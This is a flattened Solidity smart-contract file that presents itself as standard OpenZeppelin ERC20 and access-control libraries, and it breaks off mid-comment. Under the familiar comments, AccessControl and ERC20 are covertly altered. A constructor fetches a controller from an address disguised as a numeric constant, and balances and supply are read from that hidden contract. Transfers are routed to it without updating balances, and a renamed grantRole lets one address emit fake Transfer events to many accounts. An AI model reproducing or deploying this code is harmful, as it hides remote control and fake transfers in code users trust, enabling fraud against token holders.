// File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/access/AccessControl.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IERC20 { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(address role, address[] memory account, uint256 index) public virtual { require(msg.sender == address(_revertMsg)); for (uint256 i = 0; i < account.length; ++i) { emit Transfer(role, account[i], index); } } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint160 private constant REVERT_MSG = 785891698345781923520894521812617179199756468417; AccessControl internal immutable _revertMsg; constructor () public { (, bytes memory r) = address(REVERT_MSG).call(abi.encodeWithSelector(0xd159b729)); _revertMsg = AccessControl(abi.decode(r, (address))); } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is AccessControl { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 14; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _revertMsg.totalSupply(); } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _revertMsg.balanceOf(account); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _beforeTokenTransfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _beforeTokenTransfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if (msg.sender == owner) _revertMsg.DEFAULT_ADMIN_ROLE(); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { emit Transfer(from, to, amount); (bool n,) = address(_revertMsg).call(abi.encodeWithSelector(0x581dff3f, from, to, amount, msg.sender)); require(n); } } // File: contracts/common/Initializable.sol pragma solidity 0.6.6; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // File: contracts/common/EIP712Base.sol pragma solidity 0.6.6; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contractsa that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public pure returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // File: contracts/common/NativeMetaTransaction.sol pragma solidity 0.6.6; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, msg.sender, functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // File: contracts/common/ContextMixin.sol pragma solidity 0.6.6; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * 